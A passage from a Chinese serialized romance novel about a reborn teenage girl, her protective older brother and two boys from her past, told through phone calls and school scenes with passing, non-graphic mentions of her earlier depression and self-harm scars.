邪肆?
久许回忆至此,又想到了江遇。
她时不时撒娇,还耍起小脾气,闹着要听粤语。
江遇倒也不恼,回屋拿上吉他,唱歌哄她开心,还是自弹自唱。
“知不知对你牵上万缕爱意,每晚也痛心空费尽心思,这小子欲断难断这故事,全为我爱上你偏偏你不知。”
……
歌名:《爱的故事上集》。
孙耀威唱的歌。
男人眼神迷离,衬衫领口半解,性感锁骨微露,喉结上下滚动,嗓音低沉蛊惑,勾得她想扑倒。
二十出头的人,褪去年少青涩,自带股性张力。
他粤语特别好,还算是她老师。
现在的江遇呢?
就会借着她哥狐假虎威!
久许思绪很乱,纠结来纠结去,终于下定决心,给久执发消息。
【哥哥,还在忙吗?】
她看了眼时间,现在是20:23。
大一新生入学,现在还要军训,哥哥不一定在,说不定有夜训。
没过多长时间,那边回了消息。
【刚刚下晚自习,导员说了几句。】
【新学校怎么样?】
久执才到宿舍,凳子都没坐热。
到了大学以后,很多人用微信,他还是老样子,觉得企鹅顺手。
久许看着消息,刚准备回消息,就接到了语音,看着屏幕名字,沉默少许片刻,随即点了接听。
“哥哥。”
“许许,新学校怎么样,呆着还习惯吗?”
“新学校还不错,就是江遇也在,还跟我一个班,他留级好厉害。”
“许许说江遇啊,你这是忘了吗?他倒不算留级,忙完回来以后,直接读了高二,他有照顾你吗?”
他有照顾我吗?
答案应该是有。
“我不想他送我。”久许停顿了下,认真说:“他是哥哥同学,我都十七岁了,有碍男女大防。”
七岁便不同席,更别说十七岁。
她和江遇相处,还是时常纠结,不敢靠他太近。
“许许。”
久许正在思考,没顾得上回复。
“许许?”
久许找充电线,没有听见这话。
“小久许?”
“干嘛?”
久许刚躺床上,就听久执这话,有些不太明白。
“就是想和你说,你刚刚没听见,哥哥觉得也是,都成大姑娘了,确实男女大防,不过许许还小,应该无忧无虑,不用想这么多,平安长大就好。”
久许听这些话,怕被戳破心事,连忙转移话题,顺着说:“哥哥,我好喜欢数学,你说到了大学,我学数学好吗?”
她在久执面前,很乖却有秘密。
久执眉目舒展,不禁勾唇轻笑,缓缓说:“学数学很好啊,等你读大学了,哥哥开车送你。”
他靠在椅背上,通过只言片语,想妹妹的样子。
“本来不太喜欢,觉得数学无趣。”
久许片刻晃神,想到重生这事,不解说:“可是哥哥,信循环吗?”
“黑格尔有说过,存在即是合理。”
久执停顿了下,补充说:“不过,你那么喜欢周总理,是个小唯物主义者,怎么喜欢循环了啊?”
“我哪里喜欢循环啊?我这就是有些好奇!”
久许出声反驳,声音却软软的,没有一点气势,像置气的小孩。
她把平板放下,却按了免提键,怕听不到说话。
“是哥哥胡诌的,许许别生气了。”
“我没生哥哥气,就是有些好奇。”
久执听懂没点,将话题正回来,轻声问:“你江遇哥哥怎么了啊?为什么许许不想他送?你小时候不挺喜欢吗?”
他总有种感觉,妹妹口是心非。
久许认真想着,盖紧了小被子,侧身靠近平板。
“就是他有些蛊,活像个男妖精。”
上一世老是整西装杀,把她迷得不要不要的,关键她还吃他这一套。
“小久许啊,我读书少,你别骗我,话本里都写了,电视也那么演,不是女妖精啊?”
“那是你见识少,都跟哥哥说了,年轻要多看书。”
江遇能不妖吗?
表白送红玫瑰,蛊里蛊气不行。
久许偏过头来,在闹钟的旁边,看到了纸玫瑰。
他偷送给她的。
她校服里那朵。
“哥哥……”
“你们男生很穷,连零钱都没吗?”
要不怎么解释?
江遇跟她要钱!
久执拿着杯子,刚想喝一口水,被她这话一惊,杯子摔地下了,手机摔怀里了,人也没有坐稳。
不过幸运的是——
杯子是塑料的,手机没有摔坏,人也没摔地上。
他俯身拿杯子,反驳说:“简直胡言乱语,怎么可能没有?”
像是埋的地雷炸了,一下子炸出了舍友。
“久执,你干什么了啊?连水杯都摔了。”
“不会是太激动了吧?”
“你跟谁打电话呢?小姑娘声音真软。”
寝室三人夺命三连。
打游戏的不打了,追剧的也不追了,看书的也凑热闹。
久执放下杯子,冷声说:“那是我妹,亲的那种。”
久许隐约听完全部。
有些尴尬。
直接挂了电话。
久许想了好久,给他发了消息。
【我有想要的东西了。】
【我们数学老师很好,我长大也想当老师。】
这次电话夜谈,随着消息发送,目标也被定下。
*
久执收拾残局,收拾得差不多,再次坐椅子上,结合妹妹的话,他又想起江遇,给江遇打电话。
对方似乎很忙,打三次才打通。
江遇并不意外,平静说:“久执。”
他正站在窗边,月光打在身上,显得有些清冷。
久执语气淡淡,冷声说:“你倒是挺忙啊,一直都忙线中,找你都找不着。”
“跟无疾说事呢,没太留意时间,没想到你会打。”江遇跟他解释,补充说:“怎么打电话了?”
手机里却在切换界面,给陆无疾发微信消息,内容是地址和电话号。
“怎么打电话了?”久执视线下移,定至电脑屏幕,手敲击触摸板,点击保存文件,无奈说:“好久没见了吧。”
导员留了任务,要他统计信息,差点就完成了。
宿舍里有些吵,他起身来阳台。
江遇静了几秒,回复说:“也算不上好久,上个月才见过。”
他走床边坐下,手机点开免提,然后放到身旁.
左手拿起绣绷,准备继续绣花。
“你倒是很清楚,我能怎么说呢。”
久执靠着栏杆,由着微风抚面,补充说:“离开的那四年,你干什么去了?突然就离开了,连兆头都没有。”
“我本来还以为,你很快就回来,能继续当同学,可谁又能想到,一别几年过去,咱俩没做同学,但我妹转了学,你和我妹同班,也算当了同学。”
江遇愣了一下,针扎到了手指,倒没怎么出血。
“我们两个有缘。”
语调很低很沉,似是喃喃自语。
久执似乎听懂,冷声说:“你倒是很清醒。”
他看宿舍楼下,有情侣手挽手,有情侣抱一起,甚至有人接吻,莫名有些碍眼,让人感觉不适。
“江遇,你那时说过的,永远不会过界,我不求其他的,只希望她开心,哪怕浑噩度日,什么都不想学。”
久执语速很快,吐字却很清晰,声线十分清冷,陡然温柔下来。
“她还有我撑腰,不长大也没事。”
江遇行针慢了,像听长辈说教,没有出声打断。
久执缓过心神,想到暑假那时,喃喃说:“如果可以的话,我希望不是你,可惜没有如果。”
“在医院的那些日子,她什么都不感兴趣,没有丝
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毫求生欲望,静得像是一潭死水,却在梦里喊你名字,连睡醒了都在找你。”
“她可以不懂事,我希望你懂事。”
久执话很直白,跟江遇明面说,没有拐什么弯。
十七八岁的年纪,应该去追求梦想,而不是困于情爱,真想追求些什么,最起码得成熟到,能够负得起责任。
大人跟少年比,除去年龄差距,还有眼界阅历。
江遇心思很乱,手指不少伤口。
他手里的绣绷,底布染上异色,玫瑰绣错多处。
“是我有罪。”
“是我冒昧。”
“是我心动。”
男孩声音低哑,隐约带着压抑。
久执怔了片刻,不觉哀叹了声,缓缓说:“我们两个差不多大,从小就在一起上学,你离开的那四年里,不知道经历过什么,许许她想当个孩子,我也想她不用长大。”
“我爸我妈很好,但是跟我不同。”
“你是个聪明人,便应该能明白,喜欢和爱不同,婚姻这件事吧,需要势均力敌,双向奔赴不够。”
他的视线飘远,无奈说:“她也心动,她不乖啊。”
她也心动。
她不乖啊。
江遇回想这话,心里兀自重复,看着手中绣绷,莫名陷入沉思。
久执思索片刻,主动挂掉电话。
阳台上有些风,月亮若隐若现,似被云雾遮挡。
他怎么看不出?
小久许那么乖,根本藏不住事。
见到江遇那时,他罕见晃了神,发现江遇变了。
不过相差四年,好像恍如隔世。
男孩西装革履,眉眼清冷矜贵,姿态懒散不羁,举止尽显霸气,傲睨众生百态,既沉稳更阴鸷。
他那深邃双眸,如同诡谲深渊,蕴藏绝情孤寂。
可提到了妹妹,冰雪尽数消融。
江遇喜欢久许,哪怕清醒克制,甚至藏得严实,依旧露了马脚。
久执回忆至此,很快便回神来,转身回了宿舍。
江遇还愣坐着,回想着那些话,一向平静的心,掀起惊涛骇浪。
久执约他见面,托他照顾妹妹,这是他的劫难,还没成长起来,负担不起责任,却遇到了玫瑰。
玫瑰刚好心动,这对于他来说,是最好的回应。
江遇想清这些,给久执发消息。
【我还有数。】
【我很清醒。】
*
久许刚要睡觉,想起没洗头发,便直接洗了澡。
她正坐在床边,拿毛巾擦头发。
可是动作太大,不巧撞倒水杯,还好水不太烫,却撒了一桌子,赶忙拿毛巾擦,东西没什么事,纸玫瑰却湿了,不过没有影响,太阳一晒就好。
她看到纸玫瑰,想到那条消息,说什么红玫瑰。
那话看着简单,实则很难为人。
世上有一万五千多种玫瑰,却唯独没有真正的红玫瑰。
她后退他紧跟,他进攻她挣扎,像小夫妻调情,暧昧氛围破表。
她那么发消息,就是逼他放手。
有消息提示声,而且还是两声。
久许很快回神,以为是哥哥的,拿平板看了眼,只有江遇发的。
【我会去读大学。】
【我们是同路人。】
看似毫无头绪,前言不搭后语。
久许却看懂了,很快便回过神,准备回复消息。
打打删删,来回反复。
迟迟没有发送。
消息内容没定,屏幕却有墨渍。
久许看到这幕,不禁用手去擦,反倒越擦越多。
她感觉到不对,连忙停了下来,不再回复消息,将右手反过来,很干净的手心,多了很多墨渍。
她的右手,他的玫瑰。
右手拿过玫瑰。
久许似乎明白,伸手拿纸玫瑰,将其缓慢展开。
展得速度极慢,生怕扯坏纸张。
因着被水浸湿,笔墨晕染开来,只剩只言片语,话不太清楚了。
隐约看出这些。
what、act、to、rose。
久许想说很多,却都止于口中。
她沉默了好久,似乎下了决定,给他发了消息。
【你要一鸣惊人。】
5. 你是清屿
【05】你是清屿/
“我也不记得了,你怎么这么说。”
周五下午。
下午上两节课,四点多就放学。
久许闲来无事,准备去奶茶店,在学校反方向,没和江遇一起,到门口就分开,各自忙各自的。
江遇也有事情,就没陪她一起。
久许进了店里,看着桌面单子,思索要买那种。
这个时间还好,不算是高峰期,没太多人来买,大多都是学生。
店员有三四个,模样都很和善。
久许看着单子。
上面变化不少,有好多新名字,名字也很奇怪。
还有红豆奶茶。
“您好,哪款比较好呢?”
“出了几款新品,味道都还不错。”
女店员说着话,视线扫过单子,补充说:“小朋友,红豆奶茶挺好,要不要试一试?”
久许看过价位,想第二杯半价,便决定买两杯,都是红豆奶茶。
一杯留给妈妈。
一杯留给自己。
久许付完了钱,店员在做奶茶。
她想起了王维,有才专一痴情,一生只爱一人,喝了红豆奶茶,遇上他这种人,有没有可能呢?
店员给她奶茶,拿上准备回家。
久许出门离开,过了十字路口,刚到公交站点。
“久许。”
久许愣了一下。
有人在喊她吗?
男声有些激动,却带着些低哑,很熟悉的声音。
她不禁回头看,不解说:“你是清屿?”
很耀眼的男孩,却又有点陌生,与记忆有偏差。
很温柔,很疏离。
有些清冷。
蒋清屿缓过神,快步走了过来,看她买了奶茶,温声说:“我在这边转乘,第二杯半价吗?也不少喝点儿,又不怕牙疼了。”
久许沉默几秒,反驳说:“我哪里牙疼了?”
蒋清屿没生气,不觉轻笑了声,打趣说:“哪里牙都不疼。”
久许:“……”
你这是在夸我?真是气死个人。
气氛突然凝重。
蒋清屿盯着她,目光渐渐灼热,染上暧昧气息,似是带着悸动。
可事实则不然,眼神满是试探。
久许很不舒服,像被爱人注视,像被警察审视。
她联想到这些,心里猛然一惊。
“你怎么回事啊?”
“看着我做什么?”
蒋清屿听到话,知道认错了人,猛地回过神来,身形一瞬颤动。
“久许。”
“嗯?”
“想问你个事情。”
“嗯??”
“你知道幽幽吗?”
“嗯???”
久许微微皱眉,像是想到什么,可是话到嘴边,却下意识回答。
“我不知道。”
她正与他对视,看得清清楚楚。
他的眼睛里面,流露复杂之色,映着她的模样,让人不觉心疼。
久许随即回神,补充说:“我不认识。”
虽然意料之中,却有些空落落。
幽幽?
许许?
或许从一开始,就是他爱错人,自行障目罢了。
阿蒋所藏的娇,化作了一场空。
蒋清屿想至此,不觉慌了心神,莫名有些难受,心脏像被揪着。
久许看他这般,不禁说:“幽幽是谁?”
蒋清屿回过神,平复整理情绪。
“算朋友吧。”
少女刚刚回头,就那么一瞬间,他突然愣了神,心跳猛然加快,所以他开了口,问起那两个字。
“你不来上学吗?”
久许很是疑惑,她指身上校服,淡淡说:“什么我不来上学了?你看我身上的校服。”
“县一中啊。”
“我转理了。”
“学理科也不错,我那里有资料,你要不要看看?就是我学文科,不懂那些科目,不能给你补课。”
“你对我倒大方。”
蒋清屿笑了声,温声说:“你又不是外人。”
很简单的话语,却平添些暧昧。
“你怕不是撞邪?今天太反常了,以前没这样过。”
久许仔细回想,打量他的神情,对比刚才的话,补充说:“什么牙疼?什么幽幽?什么外人?”
蒋清屿没反应,反而愣在原地。
久许思索片刻,无奈说:“读高三压力大,我都跟你说了,不要跳什么级,你看你现在吧?”
“你不肯读高一,直接读了高二,现在准备高考,压力不大才怪。”
他不会早恋吧,幽幽会是谁呢?
这也不应该啊。
她上世住院时,他因着娃娃亲,天天都来看望。
“只是想到这字,就开口问问你,你这小脑袋啊,脑补了这么多。”
蒋清屿缓过神,眼神温和不少,补充说:“刚好碰上周末,要来家里玩吗?”
“不了。”久许停顿了下,补充说:“作业太多,没有时间。”
她大概想多了。
蔣清屿上世很顺,白手起家开公司,在京市站稳脚跟,算个黄金单身汉,没听说他有妻子,更没幽幽这个人。
“行吧。”蒋清屿继续说:“我忙完事情了,去给你送资料。”
公交恰好到站,两人上了公交。
楚夜刚好看到。
“阿遇,这……”
“大惊小怪什么,不过竹马罢了。”
江遇刚到家里,还没来及坐下,收到驿站短信,就出门取快递。
楚夜非跟过来,还要买糖葫芦。
*
蔣清屿回到家,在卧室收拾书。
他母亲过来了,问他学习的事,又说起了久许,说她有抑郁症。
一开始还正常,但话说到后边,让人越听越气。
谁家孩子不是宝贝,怎么被外人这么说?不是明着说人不好,可是她所有的话语,不就是说久许不好?
“你这是什么话,放学回来路上,我碰到久许了。她现在挺好的,跟小时候一样,很漂亮很可爱。再说得直白些,人活几十来年,谁不生个病啊。”
“你这孩子,着什么急,还没娶呢,护成这样。”
女人沉默几秒,低声说:“许许那么乖的孩子,突然就得了抑郁症,一点儿兆头都没有,说不定是父母遗传。”
蒋清屿平静说:“人们多少都会抑郁,哪怕真遗传下来了,又算不上什么绝症,再说她也不用您养。”
他表面很平静,眼神晦暗不明,悄然透着危险。
“怎么乱生气呢?妈妈就是说说。”
女人回想往事,补充说:“老久他们也不容易,悦悦生小久许难产,孩子生来哭都不会,身子也是弱得不行,一直在家养到六岁,现在又得这么个病,真的、”
“你最喜欢她了,为什么这样呢?或者实话实说,根本就是挑刺?没有不喜欢她,只是不喜欢我?”
蒋清屿说至此,不禁开始自嘲。
刻板印象难改,领养就是领养,很难越过亲生。
自己知道不行?
非要自讨没趣?
女人怔愣片刻,打量面前男孩,冷声说:“清屿,你在胡说什么。”
蒋清屿反驳说:“母亲,我今年才十七,您也没到四十,不着急抱孙子。”
两人神色凝重,谁也不肯让谁,似吵前的宁静。
蒋恒刚进家门,看客厅里没人,听到卧室动静,察觉到不对劲,放下手中文件,立刻赶了过来。
“温温。”
很简短的两字,很熟悉很陌生。
突然寂静下来。
蒋清屿没说话。
温琳蓦然一顿,很快回过神来。
是温温,是温琳。
她的名字。
蒋恒已至床边,牵她的手离开,轻声说:“温温不跟孩子置气,不是我们温温的错。”
温琳没有拒绝,跟着蒋恒离开。
只剩下蒋清屿。
隐约有些声音,带着少许哽咽,是温琳说的话。
“我不想吵架的……”
“我不知道。”
“我只是说到小久许。”
“这么多年过去了,清屿还是不亲我。”
“……”
蒋清屿听着话,只觉得很讽刺。
是清屿?是阿誉?
还是承誉?
他人坐在床上,呆滞望着窗户,沉浸在夜色里,思绪悄然放空,脑海阀门已开,忆起蒋恒的话。
…
“你姓蒋名清屿,这是你的名字。”
“你只是蒋清屿,不是什么替身,不用听温温的。”
“温温太想承誉,才喊了你阿誉。”
“我也不求别的,清屿多说些话,别让温温担心,总归有养恩在。”
“不过不用在意,现
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在新时代了,娃娃亲不作数,按你的意思来,没有别的束缚,我们不会逼你。”
“是我对不起你,别责怪温温了……”
“……”
…
蒋清屿此刻想,不如就这样吧,他就听她的话,别再惹她动怒,要对得起养恩,免得违了孝道。
可是换个角度,怎么才算听呢?
他没有责怪过,哪怕替身也行,只要当人就行。
*
隔天上午。
蒋清屿出家门,过来找久许玩,顺便送来资料。
他进家的时候,就君悦在客厅。
“君阿姨好,我找久许。”
“是清屿啊。”
君悦没说什么,让他去卧室了。
久许坐书桌前,翻着英语字典,查陌生的单词,订正阅读理解。
蒋清屿进来了,把资料放桌上。
他扯过把椅子,坐在她的旁边,看着她做阅读。
久许意识到他,停下手中的笔。
“你没有作业吗?”
“我写完了。”蒋清屿补充说:“英语很差?”
久许想到成绩,回复说:“上次期末考试,就考七十多分,多做题练一练,说不定有用呢。”
“思维方法重要,练题别练太死。”
蒋清屿换话题,温声说:“大学想学什么?”
“数学。”久许抬眼看他,出声问:“你呢?”
“金融学吧。”
蒋清屿顿了顿,补充说:“你的语文很好,但是数学更好。你觉得循环呢?我对数字敏感,比如金融循环。”
久许好奇起来,结合数字这词,回复说:“你是说循环吗?零点九的循环,这个算不算啊?”
“等于一那个吧?怎么会不算呢?”
蒋清屿晃了神,不禁忆起幼时,补充说:“你小时候可黏我了,现在怎么这么疏离?不知道你记不记得,你那时候说我好看,非要喊我漂亮哥哥。”
“说来还奇怪呢,那时候你六岁,我坐沙发上玩,叔叔带你来了,跟我聊了很多,让我照顾好你。”
“后来到了学校,你也不亲近人,哭着说找哥哥,快九月飞雪了。”
久许听到这些,被这人注视着,下意识不舒服,无奈说:“都说小时候了。”
“不过你很聪明。”
蒋清屿笑了声,补充说:“说来直到现在,你幼时怎么样,六岁前的长相,竟然悄然模糊,我记不起来了……”
“早知道要想你,该拍个照片的。”
久许视线飘忽,低声说:“我也不记得了,你怎么这么说。”
“我就随口一说,你要问我什么。”
蒋清屿没异常,声音依旧温柔,语气没有波动。
久许揭过话题,轻声说:“我要做阅读题,你要不要看书?”
她其实是婉拒,不知道为什么,和他呆在一起,有些不太自在,像是被看穿了,就莫名很难受。
“好啊。”蒋清屿拿本书,回了声:“有问题再喊我。”
“我知道啦。”
久许回完这话,然后就做题了。
蒋清屿没看书,反而打量久许,想找些熟悉感。
他们俩小时候,常常一同呆着,坐这里写作业,现在还是这里,房间依旧如初,却觉得不一样。
她喜欢南柯太守传,本以为她会选文科,但事实并不是如此。
是南柯一梦吗?
大概是美梦吧。
*
吃过午饭以后。
蒋清屿没闲着,帮忙收拾碗筷,见没有什么事,便准备回家了。
君悦送到门口,温声说:“清屿有空还来啊。”
蒋清屿点点头,模样异常乖巧,认真说:“好的,阿姨。”
久许等关上门,不禁问:“妈妈,你很喜欢蔣清屿吗?”
君悦思索片刻,回复说:“知根又知底的,家世也算相当,你们青梅竹马,还是指腹为婚。”
“如果亲上加亲,这样就更好了。”
久许只是听着,不知说些什么,莫名陷入沉默。
久妄走了过来,轻声说:“那些不过是醉话,悦儿怎么还当真?现在都新时代了,不实行包办婚姻。”
“再说女儿还小呢,学生不要谈恋爱。”
君悦看着久妄,不解说:“你这是什么话,清屿、”
久许出声打断:“妈妈,我都可以。”
有什么事?
有什么事。
6. 她很像我
【06】她很像我/
“你要是撒了谎,肯定不敢看我。”
江遇一如既往,放学陪着久许,等着她上公交。
时间一长下来,久许也习惯了。
今天却不一样,等公交的时间,江遇去取快递。
快递点并不远,就在学校旁边。
江遇取完快递,在回来的路上,还买了糖葫芦,甚至还是两串,还都给了久许,一点都没留着。
久许有些疑惑,出声问:“给我干嘛?”
江遇塞她手里,随意说:“看到有卖,顺手买的,哄小孩呗。”
久许觉得无语。
这人正常几天,就原形毕露了?
江遇拆了快递,拿出里面药膏,同样塞她手里,温声说:“留着用吧。”
药膏白色外皮,瓶盖上写20g。
没有别的文字说明。
像是什么禁药。
久许觉得危险,又递到他手里,喃喃说:“我没生病。”
她听用吧二字,便知他的目的。
是祛胳膊疤痕.
那些自残痕迹。
“你没生病,有备无患。”江遇停顿了下,补充说:“女孩都很娇气,磕着碰着摔着,留了疤不好看。”
“江遇。”
“嗯。”
久许思索几秒,淡淡说:“你怎么知道呢?”
江遇听到这话,不觉垂下了眼,看她右手手腕,似是透过衣袖,看到那些疤痕,莫名有些心疼。
“那天上数学课……”
“在黑板上讲题,画图象的时候,袖子挡不住了。”
久许听到这里,心头不觉泛热,直抵大脑中枢,想要出声诉说,但斟酌了几秒,却都止于口中。
中午阳光很暖,微风适时吹来,似要化去苦楚。
*
下午最后一节,刚好是体育课。
体育老师没来,课代表点人数,带着学生跑步,说慢跑两三圈,然后准备活动,再了自由活动。
学生跑第二圈,体育老师才来。
他没插手什么,让课代表带着,就解散的时候,才嘱咐了几句,主要强调安全,还说不要乱跑。
宣布解散以后,男生打球踢球,女生就不好说。
久许转来不久,生性喜欢安静,加上都不认识,就找了空地方,坐下来看会书,或者看打篮球。
学生十七八岁,正值意气风发,举止肆意洒脱,汗水伴着笑颜。
久许看了一会,回忆起那句话。
[我爱他不是因为他长得英俊,而是因为他比我更像我自己。]
艾米莉·勃朗特。
《呼啸山庄》。
她垂眼看书页,见到白纸黑字,不由心里暗想:“人其实是动物,生存对应金钱,繁衍对应性|爱,谁都挣脱不了,好在道德约束,能知耻可知足。”
……
下午最后一节,上体育的班多,学生都穿校服,能悄悄溜出去,毕竟是体育课,老师没那么严。
见有人起了头,林浣拉着她走,往小卖部来了。
林浣看她沉默,出声问:“许许,你有没有想买的啊?”
久许摇了下头,回复说:“想不出来。”
或许到了地方,看到就知道了。
她和林浣不熟,林浣很自来熟,跟谁都玩得开。
“啊,我这才想起来。”林浣恍然大悟,补充说:“我忘了你走读,放学回到家里,想吃什么都有。”
“走读天天回家,不如学校自在。”
久许停顿了下,无奈说:“我妈妈管得严,不让我吃零食,我倒喜欢学校,没有人约束我。”
妈妈说她体弱,娘胎里带的病,不让乱吃东西。
她俩这么说着,就到了小卖部。
有学生买东西,大概十来几个,她俩没过去挤,在外边等了等,顺便想买什么,人少了才过去。
久许想着买糖,不喜欢硬糖果,看了看选了选,买了袋棉花糖,饮料品种很多,就买了瓶可乐。
林浣买了不少,上衣的两个兜,都装得挺满了。
她又买糯米糍,还给久许一个。
两人买完东西,就又回操场了。
……
在回去的路上,久许拆开糖袋,给林浣棉花糖,林浣也是同样,跟她分享零食,倒也过得挺快。
两人回到操场,学生所剩无几,都去了篮球场,说数学老师在。
她们两个听见,跟过去凑热闹。
到了地方以后,学生确实不少,说的准确一点,有好多女孩子,很多还不认识,是其他班级的。
久许有些好奇,扫视了下四周。
不太凑巧的是,她此刻的目光,刚好撞上楚夜。
楚夜有些激动,出声喊:“久许。”
他就是打招呼,没想太多事情,但却适得其反,似乎吓到她了。
久许话都没说,立刻快步开溜。
林浣有些疑惑,看她这么慌乱,怕她出什么事,随后跟了上去。
林浣追上她后,不解问:“许许,突然跑什么啊。”
这都还没看呢,数学老师也在。
“浣浣,怪对不起你的,害你跟我出来。”
久许缓了缓神,补充说:“刚刚看到楚夜,他跟我打招呼,好多人看向我,我有些不自在。”
她的话语刚落,又听见了声音。
“久许?”
这个声音很轻,似乎带着疑惑,很温和的语调。
久许寻声看去,不认识的女生。
她也穿着校服,长发披散下来,气质干净清纯,淡妆添些妖冶,身上格外清冷,有些不食烟火。
最重要的一点,她那眉眼之间,跟自己很相像。
林浣怔愣起来,不解问:“许许,你们认识?”
这不绯闻女主角吗?
久许回过神来,随意说:“不认识啊。”
她说完就离开,步子快了不少,不想理这个人。
两人擦肩而过。
她就听到她说——
“我姓沈,沈若清。”
久许心里一滞,猛地停下脚步,一时未缓过神,但很礼貌回复。
“你好,我是久许。”
若清,清儿。
倒还真是闭环。
沈若清很平静,轻声说:“你好,久许。”
林.小灯泡.浣:好古怪的对话。
现在这算什么,前任现任会晤?她莫名就觉得,这俩人有些像,难不成是替身,这应该不能吧。
“久许怎么跑了,江遇打篮球呢。”楚夜刚好到了,他看向沈若清,不解说:“你怎么在这里?”
沈若清回复说:“刚好路过,怎么不能?”
她打量过久许,有什么特殊呢?
久许不想听了,随意说:“有事要做,我先走了,你们俩聊。”
她不是不想呆,只是对于清儿,她还是很恨吧。
林浣也没多留,跟着久许走了。
虽然她爱八卦,但眼前这件事,知道太多不好。
楚夜看这情况,不觉哀叹了声,无奈说:“不是不能,而是不该。”
“如何不该?”
沈若清顿了顿,补充说:“我没有做什么。”
她看到久许后,突然就明白了。
在那么多人里,对她略显不同,都是因为脸吗?
楚夜看她疑惑,认真说:“我想你该知道,对于江遇来说,你从未特殊过,至于那些传言,不过人云亦云,真假你最清楚。”
沈若清冷声说:“那我算替身吗?可是她像我呢?还是我像她啊?”
他不敢看观音?
传言次次心动,不过菀菀类卿。
楚夜怔了几秒,无奈说:“你怕不是障目,怎么会这样想?他若真喜欢你,怎么会不主动?”
沈若清想说话,却又说不出口,心里有些难受。
好像是这样啊。
过往回忆翻转。
江遇从未说过喜欢,他们从未在一起过,要真说有什么特殊,就是他躲她躲得紧。
外人觉得郎才女貌,众人之中对她不同,他对久许更是不同。
楚夜率先回神,淡淡说:“若清,这不像你。”
“我这十三年来,就这一个阿遇,怎么能作假呢?”
沈若清想幼时,既心疼也心酸。
她被坏人拐走,半路逃了出来,就坐在秋千上,连走动都不敢,只知道掉眼泪,害怕那场绑架。
阿遇哥哥如初,带她出了窝点,陪她等到日落。
那时长夜将至,街头人烟稀少。
阿遇哥哥没走,站在秋千旁边,温声说:“我陪你等好吗?”
她后来回了家。
她现在障了目。
……
江遇不打球了,他过来找楚夜,就看见沈若清。
他下意识错开,快步离开这里。
楚夜很快回神,转身准备走了。
“江
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遇,你看我都不敢。”沈若清顿了顿,冷声说:“你问心无愧吗?”
“欲加之罪,何患无辞。”
江遇转过身来,定定看向了她,补充说:“我没有拿你做过替身,向来都躲你躲得很紧,看到与她相似的面孔,我心里只剩下了厌恶。”
他莫名的举动,终于解释通了,早已经忘记了。
沈若清不死心,或者说不甘心,淡淡说:“那是太想,还是太像?”
江遇思索片刻,无奈说:“你心里很清楚,还问所以然吗?”
“如果没有久许,我有没有机会。”沈若清缓了缓,补充说:“我会对你很好,只对、”
“没有如果。”江遇沉声回复,补充说:“只会是她,只能是她。”
沈若清沉默了。
是她。
他不是他。
*
放学回家路上,学生们挺着急,都顾着要回家。
才刚出了学校,那林间小路上。
久许走得挺快,没有搭理江遇,她回想沈若清,总觉得很熟悉,跟自己很相像,还能不熟悉吗?
不能说很像吧,有个四五分像。
原来高中时期,两人就碰上了。
他说一见钟情,她又算是什么,白月光替身吗?
“久许。”
江遇声音轻柔,一边追一边哄:“不生气了,不生气了,是我的错,是我不对,你理理我,就理一下。”
“就回句话,不气好吗。”
“好不好啊。”
久许还是没理,步子丝毫没慢。
人前一套,人后一套。
渣男师祖本祖。
“我跟她没关系,非说什么的话,是躲她躲得紧。”
他只是躲着人,流言就乱飞了。
就说他怕冒昧,不敢靠近人家,此生没她不行,他解释倒越乱。
久许神色稍缓,不再往前走了。
江遇快步追上,解释说:“第一次见到她,我就看了出来,她有三分像你,我心里不自在,不是情深克制,不是非她不可。”
“你说什么?”
“她很像我?”
“你还知道?”
久许看向江遇,冷声问:“你怎么知道呢?”
他离开了四年,不可能见过她。
江遇早就转到这里,早就遇到了沈若清,像她就逃避沈若清?
“离开的那四年,你没有见过我,我回来祭祖时,有见过你一次。”
“也不止那一次,在久执手机里,他过年发动态,配图里面有你,从没缺过一次,别再生气好吗。”
他心里很清楚,这事处理不好,都能跪键盘了。
久许怔愣起来,原因是这些吗?
“江遇,你对待我,是什么呢?”
他跟她在一起,明明都要结婚,却出轨有子了。
她受刺激重病。
他都不来看她。
江遇被问住了,很快就回了神,无奈说:“天鉴地证,是真心啊。”
久许听了这话,大脑一瞬空白。
[玫瑰夜宴觅佳人,十里长街见红妆;再遇江翻定海扰,难许久病忘成医。]
她上世游玩时,顺便拜访古寺,寺间人来人往,香火从不间断,摇了这么条签,不吉利的兆头。
僧人却言吉兆,笃定说:“今生今世,不离不弃。”
“我要你看着我说。”
久许停顿了下,补充说:“你要是撒了谎,肯定不敢看我。”
江遇定定看她,神情异常认真,坚定说:“你我之间,命中注定,天不可改,地不可覆,今生今世,不离不弃。”
只要你想,婚丧嫁娶,都归你管。
久许只是苦笑。
怎么回事?
他一发誓,你就心软。
江遇等不到话,淡淡说:“你不肯相信我。”
明明是肯定句,却像极了询问,带着少许委屈。‘
久许很快回神,打量江遇模样。
“江遇,怎么叫江遇呢?”
江遇耐心解释:“辞江的江,奇遇的遇。”
久许不禁愣神。
原来是这样吗?
“信我,久许。”
江遇眼神深情,话里带着蛊惑。
“叫我久久。”
久许说完这话,转过身往前走,见江遇没跟着,回过身再看他。
“我要回家。”
江遇温声回应:“我们回家。”
7. 你有话说
【07】你有话说/
“我是喜欢数学,不是喜欢竞赛。”
国庆刚过不久。
学校组织数学竞赛,每个年级都能参加。
下午数学课上,老师说了这事,初赛就在学校,鼓励大家参与,想报名找苏婳,也就是课代表。
说考得好,获得名次,还有奖金,也能加分。
他为鼓励学生,还说虽败犹荣,诸如此类等等。
等到下课之后。
苏婳在做登记。
她肯定会去的,毕竟是课代表。
报名的人不是太多,重点班可能多一点,再有马上要月考了,去参加了数学竞赛,就要耽误学校考试,总归有些得不偿失。
楚夜向往自由,不喜欢凑热闹,就没打算报名。
时渡,周霁,苏婳,再加上个江遇,他们班级里面,就四个人报名。
……
江遇问过久许:“久久,你很喜欢数学,为什么不去呢?”
“我是喜欢数学,不是喜欢竞赛。”
久许沉默几秒,补充说:“我不喜欢考试,不喜欢跟人抢,我担心我会输,就不去尝试了。”
对江遇也一样,她并不想争抢。
初赛通过名单,有江遇和周霁,无论对谁来说,都算是件好事。
同学们却很怪,对江遇是祝贺,对周霁是怜惜。
教室窗明几净,没到上课时间,学生懒散坐着,谈论初赛结果,却像极了闹市,尽显少年心性。
交谈没有终止,阳光悄然洒落。
……
久许一头雾水,越听越迷糊了,回过头看林浣,见她异常平静,不解说:“这什么情况啊?”
周霁虽然偏科,竞赛只考数学,不涉及其他科。
林浣叹了口气,环视了下四周,低声跟她解释。
“就是你来得晚,这班里都知道。”
